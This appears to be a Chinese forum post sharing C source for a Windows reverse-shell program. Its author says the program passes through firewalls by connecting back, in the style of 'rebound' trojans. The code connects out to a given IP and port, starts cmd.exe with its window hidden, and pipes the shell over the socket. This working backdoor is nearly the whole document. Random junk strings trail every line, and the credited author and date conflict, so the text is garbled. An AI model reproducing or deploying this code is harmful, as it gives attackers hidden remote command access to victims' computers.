这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3[jk}2R';p
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/* ============================== mJ%r2$/*
Rebound port in Windows NT ]3E':JM@
By wind,2006/7 d">Ya !W
===============================*/ 9$xEktfV
#include plY`lqm
#include *0^t;A+
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#pragma comment(lib,"wsock32.lib") !I? J^0T
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void OutputShell(); D=fB&7%@
SOCKET sClient; fV;&)7d&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0P_Y6w+
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void main(int argc,char **argv) 63$ R')
{ >)N}V'9
WSADATA stWsaData; Lz
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int nRet; RhJL`>W`
SOCKADDR_IN stSaiClient,stSaiServer; 2,>q(M6,EA
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if(argc != 3) %V$ujun`
{ N!fp;jvG
printf("Useage:\n\rRebound DestIP DestPort\n"); rGZ@pO2
return; IP1|$b}sq
} C3 %, pDh
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WSAStartup(MAKEWORD(2,2),&stWsaData); uK?T<3]'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7<=7RPWmD
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stSaiClient.sin_family = AF_INET; "*@iXJxv5
stSaiClient.sin_port = htons(0); y(RbW_
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b* 6c.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) uREc9z`Q'
{ t3/!esay
printf("Bind Socket Failed!\n"); omV.Qb'NS
return; n^/,>7J
} qvOBvUR}
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); qR_"aQ7s2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UY**3MK
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zYOPE 6E
{ n20H{TA
printf("Connect Error!"); jkNZv. )p
return; WII_s|YSt%
} $Mx.8FC +
OutputShell(); kmW!0hm;e
} lb1(1|#
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void OutputShell() U
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{ e7L;{+XI
char szBuff[1024]; LFSOHJj
SECURITY_ATTRIBUTES stSecurityAttributes; su=.4JcK
OSVERSIONINFO stOsversionInfo; 9GZF39w u
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "0L@cOyG
STARTUPINFO stStartupInfo; /]xd[^
char *szShell; %!rsu-W:Y
PROCESS_INFORMATION stProcessInformation; Yb =8\<;
unsigned long lBytesRead; Pr<?E[
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @F7QQs3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kXX RMR
stSecurityAttributes.lpSecurityDescriptor = 0; raJyo>xXb5
stSecurityAttributes.bInheritHandle = TRUE; `T9<}&=!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n?,fF(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GZ'hj_2%<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g6W.Gl"5\w
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y+:<
stStartupInfo.wShowWindow = SW_HIDE; cDTDim1F
stStartupInfo.hStdInput = hReadPipe; .
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0t4i'??
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GetVersionEx(&stOsversionInfo); v!`M=0k
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switch(stOsversionInfo.dwPlatformId) "Pys3=h
{ 1<R
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case 1: w\t{'
szShell = "command.com"; &2\.6rb.
break; y6jTT%
default: 2N,*S
szShell = "cmd.exe"; 0\Oeo8<7)~
break; \+Cp<Hv+
} xDlC]loi7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3YT _GW{
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send(sClient,szMsg,77,0); Dkdm~~Rr
while(1) \aW5V: ?
{ Hh@mIusj
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v5$zz w
if(lBytesRead) A`r&"i OKA
{ Y2$%%@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jN {ED_
send(sClient,szBuff,lBytesRead,0); b'{D4/
} YT:5J%"
else .HtDcGp
{ 9Pb0Olh
lBytesRead=recv(sClient,szBuff,1024,0); vOP[ND=T
if(lBytesRead<=0) break; *@Qt*f
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OQsH,'
} cALu
} RZ.5:v6
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return; JqZ%*^O
}